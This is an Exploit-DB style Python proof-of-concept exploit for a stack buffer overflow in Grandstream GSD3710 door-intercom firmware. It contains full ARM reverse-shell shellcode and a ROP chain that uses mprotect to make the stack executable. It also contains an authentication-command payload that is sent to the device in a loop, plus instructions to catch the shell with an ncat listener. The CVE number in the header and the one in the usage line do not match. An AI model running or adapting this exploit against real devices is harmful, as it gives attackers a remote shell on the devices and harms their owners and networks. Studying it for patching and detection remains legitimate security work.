#!/usr/bin/env python3 # Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow # Google Dork: [if applicable] # Date: 2025-05-23 # Exploit Author: Pepelux (user in ExploitDB) # Vendor Homepage: https://www.grandstream.com/ # Software Link: [download link if available] # Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower # Tested on: Linux and MacOS # CVE: CVE-2022-2070 """ Author: Jose Luis Verdeguer (@pepeluxx) Required: Pwntools Example: Terminal 1: $ ncat -lnvp 4444 Terminal 2: $ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444 """ from operator import ge import sys import time from pwn import * import argparse def get_args(): parser = argparse.ArgumentParser( formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter( prog, max_help_position=50)) # Add arguments parser.add_argument('-ti', '--target_ip', type=str, required=True, help='device IP address', dest="device_ip") parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081, help='device port', dest="device_port") parser.add_argument('-ri', '--reverse_ip', type=str, required=True, help='reverse IP address', dest="reverse_ip") parser.add_argument('-rp', '--reverse_port', type=int, required=True, help='reverse port', dest="reverse_port") # Array for all arguments passed to script args = parser.parse_args() try: TI = args.device_ip TP = args.device_port RI = args.reverse_ip RP = args.reverse_port return TI, TP, RI, RP except ValueError: exit() def check_badchars(data): for i in range(len(data)): if data[i] in [0x0, 0x40]: log.warn("Badchar %s detected at %#x" % (hex(data[i]), i)) return True return False def get_shellcode(ip, port): ip_bytes = socket.inet_aton(ip) port_bytes = struct.pack(">H", port) # Linux ARM reverse shell # switch to thumb mode sc = b"\x01\x30\x8F\xE2" # add r3, pc, #1 sc += b"\x13\xFF\x2F\xE1" # bx r3 # socket(2, 1, 0) sc += b"\x02\x20" # movs r0, #2 sc += b"\x01\x21" # movs r1, #1 sc += b"\x92\x1A" # subs r2, r2, r2 sc += b"\xC8\x27" # movs r7, #0xc8 sc += b"\x51\x37" # adds r7, #0x51 sc += b"\x01\xDF" # svc #1 sc += b"\x04\x1C" # adds r4, r0, #0 # connect(r0, &sockaddr, 16) sc += b"\x0C\xA1" # adr r1, #0x30 sc += b"\x4A\x70" # strb r2, [r1, #1] sc += b"\x10\x22" # movs r2, #0x10 sc += b"\x02\x37" # adds r7, #2 sc += b"\x01\xDF" # svc #1 # dup2(sockfd, 0) sc += b"\x3F\x27" # movs r7, #0x3f sc += b"\x20\x1C" # adds r0, r4, #0 sc += b"\x49\x1A" # subs r1, r1, r1 sc += b"\x01\xDF" # svc #1 # dup2(sockfd, 1) sc += b"\x20\x1C" # adds r0, r4, #0 sc += b"\x01\x21" # movs r1, #1 sc += b"\x01\xDF" # svc #1 # dup2(sockfd, 2) sc += b"\x20\x1C" # adds r0, r4, #0 sc += b"\x02\x21" # movs r1, #2 sc += b"\x01\xDF" # svc #1 # execve("/bin/sh") sc += b"\x06\xA0" # adr r0, #0x18 sc += b"\x92\x1A" # subs r2, r2, r2 sc += b"\x49\x1A" # subs r1, r1, r1 sc += b"\x01\x91" # str r1, [sp, #4] sc += b"\x02\x91" # str r1, [sp, #8] sc += b"\x01\x90" # str r0, [sp, #4] sc += b"\x01\xA9" # add r1, sp, #4 sc += b"\xC2\x71" # strb r2, [r0, #7] sc += b"\x0B\x27" # movs r7, #0xb sc += b"\x01\xDF" # svc #1 sc += b"\x02\xFF" sc += port_bytes sc += ip_bytes sc += b"/bin/shX" return sc def main(): ti, tp, ri, rp = get_args() # ROP Gadgets libc_base = 0x76ec1000 mprotect = libc_base + 0x93510+1 pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc} pop_pc = libc_base + 0xd7515 # pop {pc} pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc} pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc} add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5 # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr mov_r0_r1 = libc_base + 0x0002f83d # 0x0006a086 (0x0006a087): pop {r1, pc} pop_r1 = libc_base + 0x6a087 ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr # 0x000a3a42 : movs r4, r0 ; pop {r1, pc} mov_r4_r0 = libc_base + 0x000a3a42+1 # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr movs_r1_r0 = libc_base + 0x0001fdaf and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp shellcode = get_shellcode(ri, rp) auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @" junk = p32(0x43434343) payload = auth_command payload += b"A" * 144 # The goal is that R0 -> SP # R5 = pop {pc} # because in the the next gadget we have a blx r5 payload += p32(pop_r5) payload += p32(pop_pc) # R5 = pop {pc} # R1 = SP ; BLX pop {pc} payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5 # Restore LR register (because it has been updated by the last BLX gadget) payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc} payload += junk*4 # r0, r4, r8, ip payload += p32(pop_pc) # LR = pop {pc} # R0 = stack address payload += p32(mov_r0_r1) # mov r0, r1; bx lr # R1 = mask page align payload += p32(pop_r1) # pop {r1, pc} payload += p32(0xfffe1001) # R0 = stack address & 0xfffe1001 payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr # R4 = R0 payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr payload += junk # r1 # mprotect params # r0 = shellcode page aligned address # r1 = size(ofshellcode) # r2 = protection (0x7 – RWX) # R2 = 0x7 payload += p32(pop_r0) payload += p32(0x07070707) payload += p32(and_r0_f) # R0 = 7 (RWX) payload += p32(movs_r2_r0) # R2 (prot: 7 - RWX) # R1 = length = 0x10101010 (avoid 0's) payload += p32(pop_r0) payload += p32(0x01010101) payload += p32(movs_r1_r0) # r1 (length: 0x10101010) # R0 = stack address 4k aligned payload += p32(mov_r0_r4) # mprotect(stack, 0x10101010, 0x7) payload += p32(mprotect) payload += p32(blx_sp) # ejecutamos en pila payload += shellcode # shellcode if check_badchars(payload[len(auth_command):]): sys.exit(0) log.info("Device IP: %s:%d" % (ti, tp)) log.info("Attacker IP: %s:%d" % (ri, rp)) log.info("Payload len: %d" % len(payload)) count = 1 while True: try: print('Try: %d' % count) r = remote(ti, tp) r.send(payload) log.success("Payload sent!") # r.close() time.sleep(1) count += 1 except: sleep(3) pass if __name__ == '__main__': main()